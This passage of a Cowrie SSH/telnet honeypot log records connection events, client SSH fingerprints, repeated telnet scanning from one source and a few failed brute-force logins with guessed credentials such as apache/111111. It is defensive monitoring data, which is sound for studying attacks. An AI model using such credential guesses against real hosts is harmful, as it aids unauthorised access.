25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:31.014604Z","src_ip":"159.203.92.129","session":"da2c4bba977d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"111111","message":"login attempt [apache/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:31.027582Z","src_ip":"159.203.92.129","session":"da2c4bba977d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35160,"dst_ip":"10.17.0.5","dst_port":23,"session":"28bb80194227","protocol":"telnet","message":"New connection: 198.50.122.223:35160 (10.17.0.5:23) [session: 28bb80194227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:31.077429Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35270,"dst_ip":"10.17.0.5","dst_port":23,"session":"deb4a2ae033b","protocol":"telnet","message":"New connection: 198.50.122.223:35270 (10.17.0.5:23) [session: deb4a2ae033b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:31.127022Z"}
{"eventid":"cowrie.session.closed","duration":31.163628816604614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:31.354552Z","src_ip":"198.50.122.223","session":"a2df5490b6c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:31.394891Z","src_ip":"2.203.183.35","session":"da35fea30666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.108956336975098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:31.721119Z","src_ip":"198.50.122.223","session":"e1911aac62e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:32.034302Z","src_ip":"159.203.92.129","session":"da2c4bba977d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39792,"dst_ip":"10.17.0.5","dst_port":23,"session":"0891bfb0ff62","protocol":"telnet","message":"New connection: 198.50.122.223:39792 (10.17.0.5:23) [session: 0891bfb0ff62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:32.054193Z"}
{"eventid":"cowrie.session.closed","duration":30.47595739364624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:32.120044Z","src_ip":"198.50.122.223","session":"ae0d79e8aa54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39930,"dst_ip":"10.17.0.5","dst_port":23,"session":"601109978a23","protocol":"telnet","message":"New connection: 198.50.122.223:39930 (10.17.0.5:23) [session: 601109978a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:32.130865Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40072,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca4eb776b1da","protocol":"telnet","message":"New connection: 198.50.122.223:40072 (10.17.0.5:23) [session: ca4eb776b1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:32.177986Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40142,"dst_ip":"10.17.0.5","dst_port":23,"session":"611c5866eef6","protocol":"telnet","message":"New connection: 198.50.122.223:40142 (10.17.0.5:23) [session: 611c5866eef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:32.190786Z"}
{"eventid":"cowrie.session.closed","duration":30.445847272872925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:32.321547Z","src_ip":"198.50.122.223","session":"c8a868385b39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727011919021606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:32.360354Z","src_ip":"198.50.122.223","session":"b37494533790","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.237015962600708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:32.666134Z","src_ip":"198.50.122.223","session":"1dee1da78467","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":42796,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8e3a724041e","protocol":"telnet","message":"New connection: 198.50.122.223:42796 (10.17.0.5:23) [session: c8e3a724041e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:32.693849Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43538,"dst_ip":"10.17.0.5","dst_port":23,"session":"3479f0de8765","protocol":"telnet","message":"New connection: 198.50.122.223:43538 (10.17.0.5:23) [session: 3479f0de8765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:32.841954Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":44612,"dst_ip":"10.17.0.5","dst_port":23,"session":"51724f76ae0e","protocol":"telnet","message":"New connection: 198.50.122.223:44612 (10.17.0.5:23) [session: 51724f76ae0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:33.130953Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40424,"dst_ip":"10.17.0.5","dst_port":23,"session":"3158d879f852","protocol":"telnet","message":"New connection: 198.50.122.223:40424 (10.17.0.5:23) [session: 3158d879f852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:33.256296Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":45073,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a1c2c276927","protocol":"telnet","message":"New connection: 198.50.122.223:45073 (10.17.0.5:23) [session: 4a1c2c276927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:33.264515Z"}
{"eventid":"cowrie.session.closed","duration":30.70876383781433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:33.448901Z","src_ip":"198.50.122.223","session":"0fd6b6e63362","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":48500,"dst_ip":"10.17.0.5","dst_port":23,"session":"4689a62cb8d0","protocol":"telnet","message":"New connection: 198.50.122.223:48500 (10.17.0.5:23) [session: 4689a62cb8d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:33.881877Z"}
{"eventid":"cowrie.session.closed","duration":30.578391075134277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:34.122296Z","src_ip":"198.50.122.223","session":"89ffe23fde00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":50696,"dst_ip":"10.17.0.5","dst_port":23,"session":"81f61d4f92f4","protocol":"telnet","message":"New connection: 198.50.122.223:50696 (10.17.0.5:23) [session: 81f61d4f92f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:34.371494Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52804,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa4e253328f7","protocol":"telnet","message":"New connection: 198.50.122.223:52804 (10.17.0.5:23) [session: aa4e253328f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:34.688175Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54692,"dst_ip":"10.17.0.5","dst_port":23,"session":"a93eb1312b80","protocol":"telnet","message":"New connection: 198.50.122.223:54692 (10.17.0.5:23) [session: a93eb1312b80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:35.057237Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54788,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddb5fe2c4357","protocol":"telnet","message":"New connection: 198.50.122.223:54788 (10.17.0.5:23) [session: ddb5fe2c4357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:35.100766Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54820,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ff45b76a799","protocol":"telnet","message":"New connection: 198.50.122.223:54820 (10.17.0.5:23) [session: 6ff45b76a799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:35.118510Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":54938,"dst_ip":"10.17.0.5","dst_port":23,"session":"e66b6bfaa760","protocol":"telnet","message":"New connection: 198.50.122.223:54938 (10.17.0.5:23) [session: e66b6bfaa760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:35.171993Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":57998,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb23b24c6cf9","protocol":"telnet","message":"New connection: 198.50.122.223:57998 (10.17.0.5:23) [session: bb23b24c6cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:35.732210Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59418,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1dcd81980d7","protocol":"telnet","message":"New connection: 198.50.122.223:59418 (10.17.0.5:23) [session: a1dcd81980d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:36.039007Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59634,"dst_ip":"10.17.0.5","dst_port":23,"session":"7528c795208e","protocol":"telnet","message":"New connection: 198.50.122.223:59634 (10.17.0.5:23) [session: 7528c795208e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:36.130717Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59820,"dst_ip":"10.17.0.5","dst_port":23,"session":"1953435f87e6","protocol":"telnet","message":"New connection: 198.50.122.223:59820 (10.17.0.5:23) [session: 1953435f87e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:36.214887Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":59986,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa343fc2dd81","protocol":"telnet","message":"New connection: 198.50.122.223:59986 (10.17.0.5:23) [session: aa343fc2dd81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:36.259909Z"}
{"eventid":"cowrie.session.closed","duration":30.43005108833313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:36.298896Z","src_ip":"198.50.122.223","session":"189c799f5087","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791818380355835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:36.480649Z","src_ip":"198.50.122.223","session":"29488192e436","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":38140,"dst_ip":"159.203.135.109","dst_port":23,"session":"7158ceb03cf3","protocol":"telnet","message":"New connection: 185.26.126.47:38140 (159.203.135.109:23) [session: 7158ceb03cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:36.521194Z"}
{"eventid":"cowrie.session.closed","duration":31.19738793373108,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:36.593339Z","src_ip":"198.50.122.223","session":"61b6a28e1cf3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":34800,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d99f768ea68","protocol":"telnet","message":"New connection: 198.50.122.223:34800 (10.17.0.5:23) [session: 7d99f768ea68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:36.736909Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41860,"dst_ip":"10.17.0.5","dst_port":22,"session":"1163ebd10bd7","protocol":"ssh","message":"New connection: 2.57.122.238:41860 (10.17.0.5:22) [session: 1163ebd10bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:36.839147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:36.843748Z","src_ip":"2.57.122.238","session":"1163ebd10bd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:36.947055Z","src_ip":"2.57.122.238","session":"1163ebd10bd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49310,"dst_ip":"10.17.0.5","dst_port":23,"session":"465a9d61752b","protocol":"telnet","message":"New connection: 198.50.122.223:49310 (10.17.0.5:23) [session: 465a9d61752b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:37.044140Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":36416,"dst_ip":"10.17.0.5","dst_port":23,"session":"07f45463a788","protocol":"telnet","message":"New connection: 198.50.122.223:36416 (10.17.0.5:23) [session: 07f45463a788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:37.138355Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:37.259480Z","src_ip":"2.57.122.238","session":"1163ebd10bd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37024,"dst_ip":"10.17.0.5","dst_port":23,"session":"87aaa1da2fbc","protocol":"telnet","message":"New connection: 198.50.122.223:37024 (10.17.0.5:23) [session: 87aaa1da2fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:37.326123Z"}
{"eventid":"cowrie.session.closed","duration":30.98379874229431,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:37.349097Z","src_ip":"198.50.122.223","session":"268f1c09a249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.232613563537598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:37.419034Z","src_ip":"198.50.122.223","session":"77ef6edcf091","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":40148,"dst_ip":"10.17.0.5","dst_port":23,"session":"6854f8a34075","protocol":"telnet","message":"New connection: 198.50.122.223:40148 (10.17.0.5:23) [session: 6854f8a34075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:37.804792Z"}
{"eventid":"cowrie.session.closed","duration":31.462034940719604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:37.933117Z","src_ip":"198.50.122.223","session":"a6f44b294c3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.221503973007202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:38.210781Z","src_ip":"198.50.122.223","session":"e53fc6cf7a47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.65.130.151","src_port":14898,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f9da4a1719a","protocol":"telnet","message":"New connection: 45.65.130.151:14898 (10.17.0.5:23) [session: 4f9da4a1719a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:38.306027Z"}
{"eventid":"cowrie.session.closed","duration":30.79225444793701,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:38.325494Z","src_ip":"198.50.122.223","session":"b366ae2081ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6966233253479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:38.331440Z","src_ip":"198.50.122.223","session":"8fe9b13b0304","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:38.365694Z","src_ip":"2.57.122.238","session":"1163ebd10bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.981147527694702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:38.385908Z","src_ip":"198.50.122.223","session":"e24f55870dce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.069175481796265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:38.663977Z","src_ip":"198.50.122.223","session":"938237c5f552","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08434820175171,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:38.674252Z","src_ip":"198.50.122.223","session":"1c6e15d73c14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.771268606185913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:38.998297Z","src_ip":"198.50.122.223","session":"685c7db1d954","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.895421981811523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:39.272029Z","src_ip":"198.50.122.223","session":"c51eb63b1b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47196,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f9b83098310","protocol":"telnet","message":"New connection: 198.50.122.223:47196 (10.17.0.5:23) [session: 1f9b83098310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:39.304585Z"}
{"eventid":"cowrie.session.closed","duration":31.13636827468872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:39.331440Z","src_ip":"198.50.122.223","session":"8595939946cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91373038291931,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:39.343304Z","src_ip":"198.50.122.223","session":"691ebd7362d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47526,"dst_ip":"10.17.0.5","dst_port":23,"session":"235e08651ddc","protocol":"telnet","message":"New connection: 198.50.122.223:47526 (10.17.0.5:23) [session: 235e08651ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:39.386961Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47700,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddd734e071dc","protocol":"telnet","message":"New connection: 198.50.122.223:47700 (10.17.0.5:23) [session: ddd734e071dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:39.436251Z"}
{"eventid":"cowrie.session.closed","duration":31.28972315788269,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:39.623491Z","src_ip":"198.50.122.223","session":"891f1763c778","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":49370,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a3430e8a6b6","protocol":"telnet","message":"New connection: 198.50.122.223:49370 (10.17.0.5:23) [session: 2a3430e8a6b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:39.668720Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51098,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f36e306e02e","protocol":"telnet","message":"New connection: 198.50.122.223:51098 (10.17.0.5:23) [session: 7f36e306e02e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:40.045193Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51122,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe3946ed1dad","protocol":"telnet","message":"New connection: 198.50.122.223:51122 (10.17.0.5:23) [session: fe3946ed1dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:40.051954Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51152,"dst_ip":"10.17.0.5","dst_port":23,"session":"50402435fae4","protocol":"telnet","message":"New connection: 198.50.122.223:51152 (10.17.0.5:23) [session: 50402435fae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:40.065701Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51272,"dst_ip":"10.17.0.5","dst_port":23,"session":"41c52a151fa6","protocol":"telnet","message":"New connection: 198.50.122.223:51272 (10.17.0.5:23) [session: 41c52a151fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:40.124665Z"}
{"eventid":"cowrie.session.closed","duration":31.01035714149475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:40.152108Z","src_ip":"198.50.122.223","session":"f4164ea1acbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51406,"dst_ip":"10.17.0.5","dst_port":23,"session":"73c35afe977e","protocol":"telnet","message":"New connection: 198.50.122.223:51406 (10.17.0.5:23) [session: 73c35afe977e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:40.193014Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":51580,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab693795e10a","protocol":"telnet","message":"New connection: 198.50.122.223:51580 (10.17.0.5:23) [session: ab693795e10a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:25:40.254693Z"}
